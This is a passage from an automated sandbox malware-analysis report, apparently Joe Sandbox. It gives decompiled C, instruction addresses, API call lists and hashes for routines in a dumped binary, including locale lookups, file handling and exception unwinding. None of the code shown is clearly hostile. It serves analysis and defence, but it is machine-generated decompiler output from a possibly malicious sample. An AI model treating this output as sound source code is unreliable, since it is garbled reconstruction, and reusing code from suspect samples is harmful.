				 *((intOrPtr*)(_v20 + 0x3c)) = _v40;
				 *(_v20 + 0x4c) = _t405;
				 *(_v20 + 0x50) = _v60;
				 *((char*)(_v20 + 0x54)) = _v80;
				 *_a4 = _v44;
				__eflags = 0;
				return 0;
			}

0x00408289
0x0040828c
0x0040828f
0x00408298
0x004082a1
0x004082ae
0x004082ae
0x004082b3
0x004082b9
0x004082c2
0x004082cb
0x004082d6
0x004082d9
0x004082ea
0x004082fb
0x00408304
0x0040830d
0x00408310
0x00408316
0x0040831c
0x00408325
0x0040832e
0x00408338
0x0040833b
0x00408340
0x00408343
0x00408350
0x00408350
0x00408357
0x0040835e
0x00000000
0x00408360
0x00408370
0x004083a5
0x004083a5
0x004083a9
0x00000000
0x00000000
0x004083ae
0x004083b1
0x00408377
0x00408379
0x0040837c
0x0040837e
0x0040837e
0x0040837e
0x0040838b
0x0040838c
0x00408392
0x00408394
0x00408397
0x0040839a
0x0040839b
0x0040839e
0x004083a0
0x004083a0
0x004083a0
0x004083a2
0x004083a2
0x004083a2
0x00000000
0x004083a2
0x00000000
0x004083b1
0x004083b3
0x004083b5
0x004083cd
0x004083b7
0x004083c1
0x004083c1
0x004083d3
0x004083d5
0x004083d7
0x004083d7
0x004083e0
0x004083e6
0x004083e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004083ef
0x004083ef
0x004083f8
0x004083fb
0x004083ff
0x00000000
0x00000000
0x00408409
0x0040840d
0x0040842d
0x00408432
0x00408434
0x004084f9
0x004084fe
0x004084ff
0x00408630
0x00408636
0x00408639
0x0040863c
0x0040863f
0x00408648
0x00408641
0x00408641
0x00408641
0x0040864d
0x00408662
0x00408665
0x00408668
0x0040866c
0x00408673
0x0040866e
0x0040866e
0x0040866e
0x0040868f
0x00408692
0x00408696
0x00408706
0x00408698
0x0040869e
0x004086a1
0x004086ad
0x004086af
0x004086b3
0x004086e3
0x00408702
0x004086b5
0x004086d6
0x004086d6
0x004086b3
0x00408709
0x00408709
0x0040870a
0x0040870a
0x0040870c
0x0040871e
0x0040871f
0x00408725
0x00408728
0x0040872b
0x0040872f
0x00408731
0x00408731
0x00408736
0x0040873d
0x00000000
0x00408738
0x00408738
0x0040873b
0x00408747
0x00408747
0x00408747
0x0040874b
0x0040874d
0x0040874f
0x00408752
0x00408754
0x00408754
0x00408754
0x0040875d
0x00408766
0x00408769
0x0040876a
0x0040876d
0x0040876f
0x0040876f
0x0040876f
0x00408777
0x00408779
0x0040877c
0x0040877f
0x00408782
0x00408786
0x00000000
0x00000000
0x0040878b
0x0040878e
0x00000000
0x00000000
0x00000000
0x0040878e
0x00408790
0x00408793
0x00408796
0x00000000
0x00000000
0x00000000
0x00408796
0x00000000
0x0040873b
0x00408736
0x0040870e
0x00000000
0x0040870e
0x00408514
0x00408519
0x0040851b
0x004085c5
0x004085c7
0x004085e2
0x004085e4
0x004085eb
0x004085f1
0x004085e6
0x004085e6
0x004085e6
0x004085f7
0x004085c9
0x004085c9
0x004085c9
0x004085fa
0x004085fd
0x004085ff
0x00408612
0x00408615
0x00408618
0x00408621
0x0040861a
0x0040861a
0x0040861a
0x00408626
0x00000000
0x00408626
0x0040853f
0x00408541
0x00000000
0x00000000
0x0040854c
0x0040854f
0x00408552
0x00408555
0x00408566
0x00408566
0x00408569
0x00408572
0x0040856b
0x0040856b
0x0040856b
0x00408577
0x0040857b
0x0040857d
0x00408580
0x00408582
0x00408582
0x00408582
0x0040858b
0x00408594
0x00408597
0x00408598
0x0040859b
0x0040859d
0x0040859d
0x0040859d
0x004085a5
0x004085a7
0x00000000
0x004085a7
0x00408557
0x0040855a
0x00000000
0x00000000
0x00000000
0x0040855c
0x00408464
0x00408469
0x0040846c
0x004084a7
0x0040846e
0x00408472
0x00408478
0x0040847b
0x00408480
0x00408480
0x00408480
0x00408480
0x0040848c
0x0040849a
0x0040849a
0x004084b0
0x004084b2
0x004084b5
0x004084be
0x004084c1
0x004084c2
0x004084c5
0x004084c7
0x004084c7
0x004084c7
0x004084c9
0x004084cc
0x004084d5
0x004084d8
0x004084e2
0x004084da
0x004084da
0x004084da
0x004084ce
0x004084ce
0x004084ce
0x00000000
0x004084cc
0x00000000
0x0040840f
0x00000000
0x00408401
0x0040879c
0x004087ab
0x004087b0
0x004087b1
0x004087b4
0x004087ba
0x004087c0
0x004087c3
0x004087c6
0x004087cc
0x004087d5
0x004087de
0x004087e7
0x004087ed
0x004087f6
0x004087ff
0x00408808
0x0040880a
0x00000000

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d46861f72bd8009182a5df1658e23b09de12010c81d0541c91a6dece14fe47d
Instruction ID: 11d40fada485c2470b6a3a131edfdc2b239a2a3c8694e8f38adb2eb1082f5e0b
Opcode Fuzzy Hash: 8d46861f72bd8009182a5df1658e23b09de12010c81d0541c91a6dece14fe47d
Instruction Fuzzy Hash: 59221D75E04219CFCB04CF99C980AEEBBB2FF88314F24416AD855B7345DB38A946CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00406E78 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86
registryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00406E78(void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t49;
				intOrPtr _t63;
				void* _t71;

				_v20 = 0;
				_v12 = 0;
				_push(_t71);
				_push(0x406f7d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t71 + 0xfffffff0;
				_push("GetUserDefaultUILanguage");
				_t21 = GetModuleHandleA("kernel32.dll");
				_push(_t21);
				L004044F8();
				_t49 = _t21;
				if(_t49 == 0) {
					if( *0x40a07c != 2) {
						if(E00406DBC(0, "Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v8, 1, 0) == 0) {
							E00406DB0();
							RegCloseKey(_v8);
						}
					} else {
						if(E00406DBC(0, ".DEFAULT\\Control Panel\\International", 0x80000003,  &_v8, 1, 0) == 0) {
							E00406DB0();
							RegCloseKey(_v8);
						}
					}
					E0040322C( &_v20, E00407020);
					E004032FC( &_v20, _v12);
					E004027B4(_v20,  &_v16);
					if(_v16 != 0) {
					}
				} else {
					_t49->i();
				}
				_pop(_t63);
				 *[fs:eax] = _t63;
				_push(E00406F84);
				E00403198( &_v20);
				return E00403198( &_v12);
			}

0x00406e83
0x00406e86
0x00406e8b
0x00406e8c
0x00406e91
0x00406e94
0x00406e97
0x00406ea1
0x00406ea6
0x00406ea7
0x00406eac
0x00406eb0
0x00406ec2
0x00406f17
0x00406f24
0x00406f2d
0x00406f2d
0x00406ec4
0x00406edf
0x00406eec
0x00406ef5
0x00406ef5
0x00406edf
0x00406f3a
0x00406f45
0x00406f50
0x00406f5b
0x00406f5b
0x00406eb2
0x00406eb2
0x00406eb4
0x00406f61
0x00406f64
0x00406f67
0x00406f6f
0x00406f7c

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00406F7D,?,0040BDC8), ref: 00406EA1
6C8D5550.KERNEL32(00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00406F7D,?,0040BDC8), ref: 00406EA7
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00406F7D,?,0040BDC8), ref: 00406EF5

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00406F04
.DEFAULT\Control Panel\International, xrefs: 00406ECC
GetUserDefaultUILanguage, xrefs: 00406E97
Locale, xrefs: 00406EE4
kernel32.dll, xrefs: 00406E9C

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CloseD5550HandleModule
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 2067295843-2401316094
Opcode ID: 77f5281c4cd470c3d6529e739a59bc6e6209f341416de1e9850045565e45bd5b
Instruction ID: 6f0d4f6a2a682bef317bb0001553abdf6b97c4845b88f0a12c11f913521364e1
Opcode Fuzzy Hash: 77f5281c4cd470c3d6529e739a59bc6e6209f341416de1e9850045565e45bd5b
Instruction Fuzzy Hash: DF216F30A0020AABCB00EAA5DC52B9FB7B8AB44304F61447BA512F72C5DB78AA10865C

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3B Relevance: 15.1, APIs: 10, Instructions: 122
fileCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00403B3B(void** __eax) {
				void* _t25;
				void* _t26;
				void* _t27;
				long _t30;
				void* _t33;
				void* _t35;
				long _t36;
				int _t39;
				void* _t41;
				void* _t47;
				void* _t48;
				long _t49;
				long _t50;
				void* _t53;
				void** _t54;
				DWORD* _t55;

				_t54 = __eax;
				 *((intOrPtr*)(__eax + 0xc)) = 0;
				 *((intOrPtr*)(__eax + 0x10)) = 0;
				_t25 =  *((intOrPtr*)(__eax + 4)) - 0xd7b1;
				if(_t25 == 0) {
					_t26 = 0x80000000;
					_t50 = 2;
					_t49 = 3;
					 *((intOrPtr*)(__eax + 0x1c)) = E00403ACC;
					L8:
					_t54[9] = 0x403b23;
					_t54[8] = E00403AF3;
					if(_t54[0x12] == 0) {
						_t54[9] = E00403AF3;
						if(_t54[1] == 0xd7b2) {
							_t27 = GetStdHandle(0xfffffff5);
						} else {
							_t27 = GetStdHandle(0xfffffff6);
						}
						if(_t27 == 0xffffffff) {
							L35:
							_t54[1] = 0xd7b0;
							return GetLastError();
						} else {
							 *_t54 = _t27;
							L28:
							if(_t54[1] == 0xd7b1) {
								L32:
								return 0;
							}
							_t30 = GetFileType( *_t54);
							if(_t30 == 0) {
								CloseHandle( *_t54);
								_t54[1] = 0xd7b0;
								return 0x69;
							}
							if(_t30 == 2) {
								_t54[8] = E00403AF6;
							}
							goto L32;
						}
					}
					_push(0);
					_push(0x80);
					_push(_t49);
					_push(0);
					_push(_t50);
					_push(_t26);
					_t33 =  &(_t54[0x12]);
					_push(_t33);
					L00401184();
					if(_t33 == 0xffffffff) {
						goto L35;
					}
					 *_t54 = _t33;
					if(_t54[1] != 0xd7b3) {
						goto L28;
					}
					_t54[1] = _t54[1] - 1;
					_t35 = GetFileSize( *_t54, 0) + 1;
					if(_t35 == 0) {
						goto L35;
					}
					_t36 = _t35 - 0x81;
					if(_t36 < 0) {
						_t36 = 0;
					}
					if(SetFilePointer( *_t54, _t36, 0, 0) + 1 == 0) {
						goto L35;
					} else {
						_t39 = ReadFile( *_t54,  &(_t54[0x53]), 0x80, _t55, 0);
						_t53 = 0;
						if(_t39 != 1) {
							goto L35;
						}
						_t41 = 0;
						while(_t41 < _t53) {
							if( *((char*)(_t54 + _t41 + 0x14c)) == 0x1a) {
								if(SetFilePointer( *_t54, _t41 - _t53, 0, 2) + 1 == 0 || SetEndOfFile( *_t54) != 1) {
									goto L35;
								} else {
									goto L28;
								}
							}
							_t41 = _t41 + 1;
						}
						goto L28;
					}
				}
				_t47 = _t25 - 1;
				if(_t47 == 0) {
					_t26 = 0x40000000;
					_t50 = 1;
					_t49 = 2;
					L7:
					_t54[7] = E00403AF6;
					goto L8;
				}
				_t48 = _t47 - 1;
				if(_t48 == 0) {
					_t26 = 0xc0000000;
					_t50 = 1;
					_t49 = 3;
					goto L7;
				}
				return _t48;
			}

0x00403b3c
0x00403b40
0x00403b43
0x00403b49
0x00403b4e
0x00403b5b
0x00403b60
0x00403b65
0x00403b6a
0x00403b9a
0x00403b9a
0x00403ba1
0x00403bac
0x00403c60
0x00403c6e
0x00403c76
0x00403c70
0x00403c76
0x00403c76
0x00403c7e
0x00403cbb
0x00403cbb
0x00000000
0x00403c80
0x00403c80
0x00403c82
0x00403c89
0x00403ca2
0x00000000
0x00403ca2
0x00403c8d
0x00403c94
0x00403ca8
0x00403cad
0x00000000
0x00403cb4
0x00403c99
0x00403c9b
0x00403c9b
0x00000000
0x00403c99
0x00403c7e
0x00403bb2
0x00403bb4
0x00403bb9
0x00403bba
0x00403bbc
0x00403bbd
0x00403bbe
0x00403bc1
0x00403bc2
0x00403bca
0x00000000
0x00000000
0x00403bd0
0x00403bd9
0x00000000
0x00000000
0x00403bdf
0x00403beb
0x00403bec
0x00000000
0x00000000
0x00403bf2
0x00403bf7
0x00403bf9
0x00403bf9
0x00403c08
0x00000000
0x00403c0e
0x00403c23
0x00403c28
0x00403c2a
0x00000000
0x00000000
0x00403c30
0x00403c32
0x00403c3e
0x00403c52
0x00000000
0x00403c5e
0x00000000
0x00403c5e
0x00403c52
0x00403c40
0x00403c40
0x00000000
0x00403c32
0x00403c08
0x00403b50
0x00403b51
0x00403b73
0x00403b78
0x00403b7d
0x00403b93
0x00403b93
0x00000000
0x00403b93
0x00403b53
0x00403b54
0x00403b84
0x00403b89
0x00403b8e
0x00000000
0x00403b8e
0x00000000

APIs

6C8D5CA0.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403BC2
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403BE6
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403C02
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403C23
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403C4C
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403C56
GetStdHandle.KERNEL32(000000F5), ref: 00403C76
GetFileType.KERNEL32(?,000000F5), ref: 00403C8D
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403CA8
GetLastError.KERNEL32(000000F5), ref: 00403CC2

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: File$HandlePointer$CloseErrorLastReadSizeType
String ID:
API String ID: 2587015848-0
Opcode ID: 82afb3ba326b040618bb1f5d1ace889cbe7170a3c7233cc425c4da9df6c52ac5
Instruction ID: e865e415cc3bddce3264ca3c3b1bb7a8c5c6c551cb095d29116a0d7d95c160d9
Opcode Fuzzy Hash: 82afb3ba326b040618bb1f5d1ace889cbe7170a3c7233cc425c4da9df6c52ac5
Instruction Fuzzy Hash: 8141A1712086009EF7344F258909B237DE8EB4471AF208A3FA5D6FA6E1D7BD9A05874D

Uniqueness

Uniqueness Score: -1.00%

Function 00405390 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00405390(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t148;
				intOrPtr _t156;

				_t153 = __esi;
				_t152 = __edi;
				_push(0);
				_push(0);
				_push(0);
				_push(__esi);
				_push(__edi);
				_push(_t156);
				_push(0x4055d8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t156;
				_t104 = GetSystemDefaultLCID();
				E004051D8(_t31, 0, 0x14,  &_v16);
				E004031E8(0x40b494, _t104, _v16, __edi, __esi);
				E004051D8(_t104, 0x4055f0, 0x1b,  &_v16);
				 *0x40b498 = E00404C90(0x4055f0, 0);
				E004051D8(_t104, 0x4055f0, 0x1c,  &_v16);
				 *0x40b499 = E00404C90(0x4055f0, 0);
				 *0x40b49a = E00405224(_t104, 0x2c, 0xf);
				 *0x40b49b = E00405224(_t104, 0x2e, 0xe);
				E004051D8(_t104, 0x4055f0, 0x19,  &_v16);
				 *0x40b49c = E00404C90(0x4055f0, 0);
				 *0x40b49d = E00405224(_t104, 0x2f, 0x1d);
				E004051D8(_t104, "m/d/yy", 0x1f,  &_v16);
				E004031E8(0x40b4a0, _t104, _v16, _t152, _t153);
				E004051D8(_t104, "mmmm d, yyyy", 0x20,  &_v16);
				E004031E8(0x40b4a4, _t104, _v16, _t152, _t153);
				 *0x40b4a8 = E00405224(_t104, 0x3a, 0x1e);
				E004051D8(_t104, 0x405624, 0x28,  &_v16);
				E004031E8(0x40b4ac, _t104, _v16, _t152, _t153);
				E004051D8(_t104, 0x405630, 0x29,  &_v16);
				E004031E8(0x40b4b0, _t104, _v16, _t152, _t153);
				E004051D8(_t104, 0x4055f0, 0x25,  &_v16);
				if(E00404C90(0x4055f0, 0) != 0) {
					E0040322C( &_v8, 0x405648);
				} else {
					E0040322C( &_v8, 0x40563c);
				}
				E004051D8(_t104, 0x4055f0, 0x23,  &_v16);
				if(E00404C90(0x4055f0, 0) != 0) {
					E00403198( &_v12);
				} else {
					E0040322C( &_v12, 0x405654);
				}
				_push(_v8);
				_push(":mm");
				_push(_v12);
				E004033B4();
				_push(_v8);
				_push(":mm:ss");
				_push(_v12);
				E004033B4();
				_pop(_t148);
				 *[fs:eax] = _t148;
				_push(E004055DF);
				return E004031B8( &_v16, 3);
			}

0x00405390
0x00405390
0x00405393
0x00405395
0x00405397
0x0040539a
0x0040539b
0x0040539e
0x0040539f
0x004053a4
0x004053a7
0x004053af
0x004053be
0x004053cb
0x004053e0
0x004053ef
0x00405404
0x00405413
0x00405426
0x00405439
0x0040544e
0x0040545d
0x00405470
0x00405485
0x00405492
0x004054a7
0x004054b4
0x004054c7
0x004054dc
0x004054e9
0x004054fe
0x0040550b
0x00405520
0x00405531
0x0040554a
0x00405533
0x0040553b
0x0040553b
0x0040555f
0x00405570
0x00405584
0x00405572
0x0040557a
0x0040557a
0x00405589
0x0040558c
0x00405591
0x0040559e
0x004055a3
0x004055a6
0x004055ab
0x004055b8
0x004055bf
0x004055c2
0x004055c5
0x004055d7

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004055D8,?,?,?,?,00000000,00000000,00000000,?,004065B7,00000000,004065CA), ref: 004053AA

Part of subcall function 004051D8: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040B4BC,00000001,?,004052A3,?,00000000,00405382), ref: 004051F6

Part of subcall function 00405224: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00405426,?,?,?,00000000,004055D8), ref: 00405237

Strings

:mm:ss, xrefs: 004055A6
AMPM, xrefs: 00405575
:mm, xrefs: 0040558C
mmmm d, yyyy, xrefs: 0040549B
m/d/yy, xrefs: 00405479

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 32e2cd6b4f7abd5ff8e1db0b88a9d00ca1a8aeb6f8e3409cce644bf8720f9a05
Instruction ID: 5dbce1740f669969ed804a55b507669df95a3cbb205332ef81c892f85f4d3f5c
Opcode Fuzzy Hash: 32e2cd6b4f7abd5ff8e1db0b88a9d00ca1a8aeb6f8e3409cce644bf8720f9a05
Instruction Fuzzy Hash: 90512D34B005487BDB04EBA59C81A9F77AADB88304F60947BB501BB3C7DA3DDA059B5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040375C Relevance: 7.6, APIs: 5, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040375C(char* __eax) {
				short _v2064;
				short* _t8;
				short* _t15;
				char* _t16;
				short* _t17;
				int _t18;
				int _t19;

				_t16 = __eax;
				_t18 = E004032F4(__eax);
				if(E004032F4(_t16) >= 0x400) {
					_t8 = MultiByteToWideChar(0, 0, _t16, _t18, 0, 0);
					_t19 = _t8;
					_push(_t19);
					_push(0);
					L00401224();
					_t17 = _t8;
					MultiByteToWideChar(0, 0, _t16, _t18, _t17, _t19);
				} else {
					_push(MultiByteToWideChar(0, 0, E004034B8(_t16), _t18,  &_v2064, 0x400));
					_t15 =  &_v2064;
					_push(_t15);
					L00401224();
					_t17 = _t15;
				}
				return _t17;
			}

0x00403766
0x0040376f
0x0040377d
0x004037b4
0x004037b9
0x004037bb
0x004037bc
0x004037be
0x004037c3
0x004037cd
0x0040377f
0x0040379b
0x0040379c
0x004037a0
0x004037a1
0x004037a6
0x004037a6
0x004037de

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403796
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004037A1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004037B4
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 004037BE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004037CD

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: eb62cbe69baa29a5e4c1cf22c4c0667e8de5313a1947b2c584ac2803d2fbc60e
Instruction ID: 4467adfd160ef2e886eef196ede4891b71e87803e826c11556a0c4038ec11822
Opcode Fuzzy Hash: eb62cbe69baa29a5e4c1cf22c4c0667e8de5313a1947b2c584ac2803d2fbc60e
Instruction Fuzzy Hash: A4F044A13442843AE56075A65C43FAB198CCB41B6AF10457FF704FA1C2D8B89D05927D

Uniqueness

Uniqueness Score: -1.00%

Function 00402CCC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00402CCC(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v44;
				void* __ebx;
				void* __esi;
				intOrPtr* _t29;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				intOrPtr* _t40;
				intOrPtr _t45;
				void* _t48;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t56;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr _t64;
				intOrPtr* _t67;
				intOrPtr _t70;
				intOrPtr _t73;

				_t29 = _a4;
				if(( *(_t29 + 4) & 0x00000006) == 0) {
					if( *_t29 == 0xeedface) {
						_t32 =  *((intOrPtr*)( *((intOrPtr*)(_t29 + 0x18))));
						goto L6;
					} else {
						E0040285C(_t29);
						_t61 =  *0x40b008; // 0x405b5c
						if(_t61 != 0) {
							_t32 =  *_t61();
							if(_t32 != 0) {
								L6:
								_t50 =  *((intOrPtr*)(_a8 + 4));
								_t45 =  *((intOrPtr*)(_t50 + 5));
								_t9 = _t50 + 9; // 0xf
								_t67 = _t9;
								_t70 = _t32;
								while(1) {
									L7:
									_t33 =  *_t67;
									__eflags = _t33;
									if(_t33 == 0) {
										break;
									}
									_t64 = _t70;
									while(1) {
										__eflags = _t33 - _t64;
										if(_t33 == _t64) {
											goto L16;
										}
										__eflags =  *((intOrPtr*)(_t33 - 0x18)) -  *((intOrPtr*)(_t64 - 0x18));
										if( *((intOrPtr*)(_t33 - 0x18)) ==  *((intOrPtr*)(_t64 - 0x18))) {
											_t40 =  *((intOrPtr*)(_t33 - 0x1c));
											_t59 =  *((intOrPtr*)(_t64 - 0x1c));
											_t54 =  *_t40;
											__eflags =  *_t40 -  *_t59;
											if( *_t40 ==  *_t59) {
												__eflags = _t59 + 1;
												E0040270C(_t40 + 1, _t54, _t59 + 1);
												if(__eflags == 0) {
													goto L16;
												}
											}
										}
										_t64 =  *((intOrPtr*)(_t64 - 0x14));
										_t33 =  *_t67;
										__eflags = _t64;
										if(_t64 != 0) {
											continue;
										}
										_t67 = _t67 + 8;
										_t45 = _t45 - 1;
										__eflags = _t45;
										if(_t45 != 0) {
											goto L7;
										}
										goto L19;
									}
									break;
								}
								L16:
								_t34 = _a4;
								__eflags =  *_t34 - 0xeedface;
								_t56 =  *((intOrPtr*)(_t34 + 0x18));
								_t51 =  *((intOrPtr*)(_t34 + 0x14));
								if( *_t34 != 0xeedface) {
									_t56 = E00402B28( *0x40b00c(), _a12);
									_t34 = _a4;
									_t51 =  *((intOrPtr*)(_t34 + 0xc));
								}
								_push( *[fs:ebx]);
								_push(_t34);
								_push(_t56);
								_push(_t51);
								 *(_t34 + 4) =  *(_t34 + 4) | 0x00000002;
								_push(_t67);
								_push(0);
								_push(_t34);
								_push(0x402da8);
								_push(_a8);
								L004011CC();
								_pop(_t48);
								_t35 = E00403154();
								_push( *_t35);
								 *_t35 = _t73;
								 *((intOrPtr*)(_v8 + 4)) = E00402DD4;
								E00402B5C(_v44, _t48, _t67);
								goto ( *((intOrPtr*)(_t48 + 4)));
							} else {
							}
						}
					}
				}
				L19:
				return 1;
			}

0x00402ccc
0x00402cd7
0x00402ce3
0x00402d06
0x00000000
0x00402ce5
0x00402ce5
0x00402cea
0x00402cf2
0x00402cf8
0x00402cfc
0x00402d08
0x00402d10
0x00402d13
0x00402d16
0x00402d16
0x00402d19
0x00402d1b
0x00402d1b
0x00402d1b
0x00402d1d
0x00402d1f
0x00000000
0x00000000
0x00402d21
0x00402d23
0x00402d23
0x00402d25
0x00000000
0x00000000
0x00402d2a
0x00402d2d
0x00402d2f
0x00402d32
0x00402d37
0x00402d39
0x00402d3b
0x00402d3e
0x00402d3f
0x00402d44
0x00000000
0x00000000
0x00402d44
0x00402d3b
0x00402d46
0x00402d49
0x00402d4b
0x00402d4d
0x00000000
0x00000000
0x00402d4f
0x00402d52
0x00402d52
0x00402d53
0x00000000
0x00000000
0x00000000
0x00402d58
0x00000000
0x00402d23
0x00402d5e
0x00402d5e
0x00402d62
0x00402d68
0x00402d6b
0x00402d6e
0x00402d7f
0x00402d81
0x00402d85
0x00402d85
0x00402d8d
0x00402d8e
0x00402d8f
0x00402d90
0x00402d95
0x00402d99
0x00402d9a
0x00402d9c
0x00402d9d
0x00402da2
0x00402da3
0x00402da8
0x00402dad
0x00402db2
0x00402db8
0x00402dc1
0x00402dcc
0x00402dd1
0x00000000
0x00402cfe
0x00402cfc
0x00402cf2
0x00402ce3
0x00402df4
0x00402df9

APIs

RtlUnwind.KERNEL32(?,00402DA8,?,00000000,0000000F,?,?,?,?), ref: 00402DA3

Strings

\[@, xrefs: 00402CEA
p[@, xrefs: 00402D70

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Unwind
String ID: \[@$p[@
API String ID: 3419175465-328296950
Opcode ID: 10763b3ca4e2304a2a9a7d746383f13e1759796fccc72d9a9d1eb84cde97f303
Instruction ID: 4e34e1b9b67335c333c83c85b531455ae4cd4c13f1293b8a75d41d0fde5a4390
Opcode Fuzzy Hash: 10763b3ca4e2304a2a9a7d746383f13e1759796fccc72d9a9d1eb84cde97f303
Instruction Fuzzy Hash: 1E3160742042019FC714DF05CA88A27B7E5FF88714F1585BAE948AB3E1C775EC42DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403018 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00403018(void* __esi, intOrPtr _a4, signed int _a8) {
				signed int _v12;
				void* _t21;
				signed int _t22;
				signed int _t23;
				signed int _t27;
